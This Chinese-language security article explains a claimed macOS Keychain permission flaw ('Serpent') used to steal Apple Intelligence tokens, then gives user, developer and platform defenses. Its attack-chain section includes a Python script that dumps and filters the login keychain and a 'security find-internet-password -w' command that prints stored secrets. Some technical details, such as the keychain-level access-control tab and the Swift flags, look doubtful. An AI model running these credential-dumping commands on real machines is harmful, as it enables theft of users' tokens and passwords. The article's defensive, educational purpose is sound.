1. 从一次“意外”的权限请求说起:理解Serpent攻击的入口
如果你在macOS上开发或者使用过一些需要访问系统敏感区域的工具,大概率见过一个弹窗,上面写着“钥匙串想要访问您的钥匙串”。大多数时候,我们都会不假思索地点击“始终允许”。这个看似平常的交互,正是Serpent攻击能够得逞的起点。这个攻击的核心,并非利用了某个复杂的、需要0day级别的内存破坏漏洞,而是巧妙地利用了macOS钥匙串(Keychain)服务中一个关于权限继承和令牌(Token)管理的逻辑缺陷。攻击者可以诱导用户授权一个看似无害的应用程序,之后该应用便能持续、静默地访问并窃取其他高价值应用的敏感数据,特别是新兴的Apple Intelligence功能所依赖的认证令牌。
简单来说,Serpent攻击像是一条“毒蛇”,它没有强行破门而入,而是骗取了管家(钥匙串访问权限)的信任,拿到了一把能打开家里所有抽屉(其他应用存储的密钥和令牌)的万能钥匙。这个漏洞的可怕之处在于其隐蔽性和持久性。一旦用户点击了“始终允许”,恶意程序就获得了对钥匙串中“登录”钥匙串的持续访问权。而许多应用程序,包括那些处理AI服务的,都会将认证令牌、API密钥等敏感信息默认存储在这里。
为什么Apple Intelligence令牌会成为高价值目标?随着苹果将AI能力深度集成到操作系统和各类应用中,这些AI功能(如Siri增强、写作辅助、图像生成等)背后需要与云端服务进行身份验证。用于验证用户身份、授权AI服务调用的令牌,就成了数字身份的关键。窃取这些令牌,攻击者可能得以冒用用户身份滥用AI服务、访问用户的私有数据(如邮件、备忘录、对话历史),甚至产生额外的服务费用。因此,理解并防御Serpent攻击,对于保护个人隐私和数字资产至关重要。
2. macOS钥匙串安全模型:理想与现实的裂缝
要彻底理解Serpent攻击为何能成功,我们必须先拆解macOS钥匙串设计上的安全假设,以及这个假设在现实中被如何绕过。钥匙串是苹果生态系统的核心密码管理系统,其设计初衷是安全地集中存储密码、证书、密钥和笔记。
2.1 钥匙串的访问控制机制:沙盒与代码签名
macOS通过一套组合拳来保护钥匙串条目:
- 访问控制列表(ACL):每个钥匙串条目都附有一份ACL,定义了“哪些应用程序”在“满足何种条件时”可以访问该条目。条件可能包括需要用户密码(Keychain Password)、需要生物识别(Touch ID)或始终允许。
- 代码签名(Code Signing):macOS可以识别应用程序的唯一身份,这是通过其代码签名证书实现的。ACL中的“应用程序”标识,通常就是其代码签名哈希(Code Signing Hash)或团队标识符(Team Identifier)。这理论上可以防止一个恶意应用冒充另一个合法应用。
- 钥匙串域(Keychain Domains):分为“登录”、“系统”、“本地项目”等。用户最常交互的是“登录”钥匙串,它随用户登录而解锁,存储了大多数用户级应用的秘密。
当应用程序首次尝试访问钥匙串时,系统会弹出授权对话框,列出请求的应用名称和请求的钥匙串(通常是“登录”)。用户可以选择“拒绝”、“允许一次”或“始终允许”。如果选择“始终允许”,该应用的代码签名身份就会被添加到目标钥匙串条目的ACL中。
2.2 Serpent攻击利用的裂缝:权限的过度继承
这里就出现了安全模型中的一个关键裂缝:当应用A被授权访问“登录”钥匙串后,它获得的权限范围是什么?
理想的安全模型可能期望是:应用A只能访问它自己创建或明确指定的条目。但现实是,在macOS的某些实现逻辑中,特别是涉及钥匙串的“搜索(Search)”操作时,一旦应用被授予对某个钥匙串(如“登录”钥匙串)的访问权限,它可能获得在该钥匙串内进行广泛搜索的能力。这意味着,应用A可以枚举“登录”钥匙串中存储的、属于其他应用B、C、D的大量条目元数据,如服务名称、账户名等。
更致命的一步在于,对于某些类型的条目(特别是那些由系统框架或通用密钥链服务创建的、用于存储网络认证令牌的条目),其ACL可能不够严格,或者其访问控制依赖于钥匙串的整体解锁状态而非精细的每条目ACL。攻击者应用在通过“始终允许”获得钥匙串访问权后,便可能直接读取这些条目的秘密数据,而无需再次征得用户同意。
一个生活化的类比:这就像你给了快递员进入小区大门(登录钥匙串)的长期门禁卡,本意是让他能把包裹放到你家门口的快递柜(应用自己的存储区域)。但小区的设计是,所有住户的信箱(其他应用的令牌)都集中放在大门内的一个公共区域,并且这些信箱的锁(ACL)很多都不牢靠,或者默认对“进入小区的人”开放。于是,这个快递员就可以在送包裹之余,随意翻看所有住户的信件。
Serpent攻击正是利用了这种“大门权限”被过度解释为“室内所有抽屉的访问权限”的逻辑缺陷。攻击者只需要诱导用户授予一次性的、对“钥匙串”本身的访问权限,后续的窃取行为便可以完全在后台静默进行。
3. 攻击链深度复现:从诱导授权到令牌窃取
理解了原理,我们来看一个模拟的攻击链是如何一步步展开的。请注意,以下描述仅用于教育目的,以帮助开发者和安全研究人员构建更安全的防御,切勿用于非法活动。
3.1 阶段一:制作诱饵与获取初始权限
攻击者首先需要制作一个“诱饵”应用。这个应用通常会伪装成以下形态:
- 一个看似有用的工具:如系统优化工具、壁纸管理器、文档格式转换器等。
- 一个需要“合理”钥匙串访问权限的应用:例如,一个声称可以帮你管理Wi-Fi密码或自动填充密码的小工具。它会在其
Info.plist文件中声明需要钥匙串访问权限,或者在代码中调用钥匙串API。
当用户下载并运行这个应用(可能来自非App Store的不明来源,或通过社交工程诱骗),它首次尝试访问钥匙串时,系统弹窗出现:“‘XX优化工具’想要访问‘登录’钥匙串中的项目”。许多用户出于便利,或对弹窗内容不假思索,点击了“始终允许”。
关键点:此时,攻击者应用(假设其团队标识符为
EVILTEAMID)的代码签名身份,就被添加到了用户“登录”钥匙串的访问者列表中。这不是针对某一个具体的钥匙串条目,而是针对钥匙串本身的一个“信任”关系。
3.2 阶段二:枚举与定位高价值令牌
获得钥匙串访问权限后,恶意应用便可以在后台执行类似以下的代码逻辑(以Python的subprocess调用security命令行工具为例,实际恶意软件可能直接用原生API):
import subprocess import json import re def enumerate_keychain_items(): # 使用 security 命令列出登录钥匙串中的所有条目 cmd = ['security', 'dump-keychain', '-d', 'login.keychain'] try: output = subprocess.check_output(cmd, stderr=subprocess.STDOUT, text=True) except subprocess.CalledProcessError as e: # 处理错误,可能权限不足 return [] items = [] current_item = {} lines = output.split('\n') for line in lines: if line.startswith('keychain:'): if current_item: items.append(current_item) current_item = {'keychain': line.split(': ')[1]} elif ':' in line: key, value = line.split(':', 1) key = key.strip() value = value.strip() current_item[key] = value # 匹配可能包含AI服务标识的账户或服务名 if 'account' in current_item and 'AppleIntelligence' in current_item.get('account', ''): # 或者匹配特定的服务标识符,如 com.apple.private.appleintelligence.token pass if current_item: items.append(current_item) return items # 过滤出感兴趣的目标 all_items = enumerate_keychain_items() target_items = [] for item in all_items: acct = item.get('account', '') svce = item.get('service', '') # 攻击者会寻找与Apple Intelligence相关的特征字符串 # 这些特征可能来自逆向工程或对早期Beta版的分析 if 'appleintel' in acct.lower() or 'appleintel' in svce.lower(): target_items.append(item) # 也可能广泛窃取所有互联网密码、令牌,从中筛选 elif item.get('class', '') == 'inet': target_items.append(item)通过这种方式,攻击者可以扫描钥匙串,寻找包含“AppleIntelligence”、“Siri”、“MLModel”或其他相关关键词的账户名、服务名或注释字段的条目。
3.3 阶段三:提取令牌数据
定位到目标条目后,便是提取实际的秘密数据(令牌)。对于ACL宽松的条目,可以直接读取。security命令同样可以用于获取具体条目的密码(秘密):
# 假设找到了一个服务为'com.apple.private.appleintelligence.auth',账户为'user@example.com'的条目 security find-internet-password -s 'com.apple.private.appleintelligence.auth' -a 'user@example.com' -w-w参数会直接输出密码(令牌字符串)到标准输出。在恶意应用中,这个过程被自动化,获取的令牌会被立即加密并外传到攻击者控制的服务器。
为什么Apple Intelligence的令牌容易中招?在开发初期或某些集成场景下,为了便于调试和实现无缝用户体验,开发团队可能将这些令牌以“互联网密码”(inet类型)的形式存储在登录钥匙串中,并且其ACL可能设置为“允许任何信任的应用访问”(或者依赖于钥匙串的整体解锁状态),而非严格绑定到特定的客户端应用。这就为Serpent攻击提供了可乘之机。
4. 防御策略:从用户习惯到开发实践
面对Serpent这类利用权限模型的攻击,防御需要用户、开发者和系统三方的共同努力。
4.1 给普通用户的实用建议
- 警惕“始终允许”:当任何应用,尤其是从非官方渠道下载的应用,请求钥匙串访问权限时,务必保持警惕。思考它是否真的需要这个权限。优先选择“允许一次”,观察应用行为。
- 审查与管理钥匙串权限:
- 打开“钥匙串访问”应用。
- 在左侧选择“登录”钥匙串。
- 右键点击钥匙串,选择“显示简介”。
- 切换到“访问控制”标签页。这里列出了所有被授予访问权限的应用程序。定期检查这个列表,移除任何不信任或不再使用的应用。
- 对于具体的敏感条目(如银行、邮箱、AI服务密码),可以右键点击该条目 -> “显示简介” -> “访问控制”,将其设置为“询问钥匙串密码”或“需要确认”,并移除不必要的应用访问权限。
- 使用系统偏好设置中的隐私与安全性:前往“系统设置” -> “隐私与安全性” -> “应用程序软件”。这里可以管理哪些应用可以控制其他应用、访问辅助功能等。虽然不是直接管理钥匙串,但这是控制应用行为的重要关口。
- 优先从App Store获取应用:App Store的应用经过沙盒化和苹果的审核,其权限请求和行为受到更严格的限制,能有效降低此类风险。
4.2 给开发者的安全编码实践
如果你正在开发涉及敏感令牌(如OAuth令牌、API密钥、Apple Intelligence服务令牌)的macOS应用,以下实践至关重要:
为钥匙串条目设置最严格的ACL:不要依赖默认设置。在创建钥匙串条目时,明确指定只有你的应用可以访问。使用
SecAccessCreateWithRules和SecKeychainItemSetAccess等API,将ACL严格绑定到你应用的代码签名哈希或团队ID。// Swift示例:创建一个仅本应用可访问的钥匙串条目 let query: [String: Any] = [ kSecClass as String: kSecClassInternetPassword, kSecAttrServer as String: "api.apple-intelligence.example.com", kSecAttrAccount as String: userAccount, kSecValueData as String: tokenData, kSecAttrAccessControl as String: SecAccessControlCreateWithFlags( nil, // 使用默认保护 kSecAttrAccessibleWhenUnlockedThisDeviceOnly, [.applicationPassword, .privateKeyUsage], // 根据需求设置标志 nil )!, kSecUseDataProtectionKeychain as String: true // 关键:使用数据保护钥匙串 ] let status = SecItemAdd(query as CFDictionary, nil)使用数据保护钥匙串(Data Protection Keychain):这是现代macOS(和iOS)推荐的方式。它提供了更强的加密和访问控制,与应用的沙盒和代码签名深度集成。确保在钥匙串查询中设置
kSecUseDataProtectionKeychain为true。考虑替代存储方案:对于最高机密的密钥,考虑使用安全飞地(Secure Enclave)进行存储和运算(适用于加密密钥)。对于可再生的会话令牌,评估是否可以不进行持久化存储,或者使用内存中的加密存储,并在应用退出时清除。
令牌最小化与刷新:使用短期有效的令牌,并实现令牌刷新机制。即使令牌被窃,其有效期也很短,限制了攻击窗口。
在
Info.plist中明确定义钥匙串访问组:如果你的应用包含多个可执行文件或扩展,使用钥匙串访问组(Keychain Access Groups)来在应用组件间安全共享密钥,同时阻止外部访问。
4.3 系统层面的缓解与更新
苹果在获悉此类漏洞后,通常会在后续的macOS更新中修复。作为用户,保持系统更新到最新版本是根本的防御措施。修复可能包括:
- 收紧默认ACL:系统创建的、用于存储全局服务令牌的钥匙串条目,其ACL会被设置得更严格。
- 改进权限对话框的表述:使提示信息更清晰,明确告知用户授予的是对“整个钥匙串”的搜索和访问权限,而非单个密码。
- 引入更细粒度的权限控制:可能在未来提供“允许访问此应用的密码”而非“允许访问钥匙串”的选项。
Serpent攻击揭示了即使在设计良好的安全系统中,权限模型的抽象与现实使用之间也可能存在认知偏差和实现缝隙。它提醒我们,安全是一个持续的过程,需要用户保持警惕,开发者遵循最佳实践,以及平台厂商不断加固系统边界。对于正在快速发展的Apple Intelligence生态而言,在追求便捷智能的同时,将安全设计前置,严格管控其核心令牌的生命周期,是避免其成为下一个攻击富矿的关键。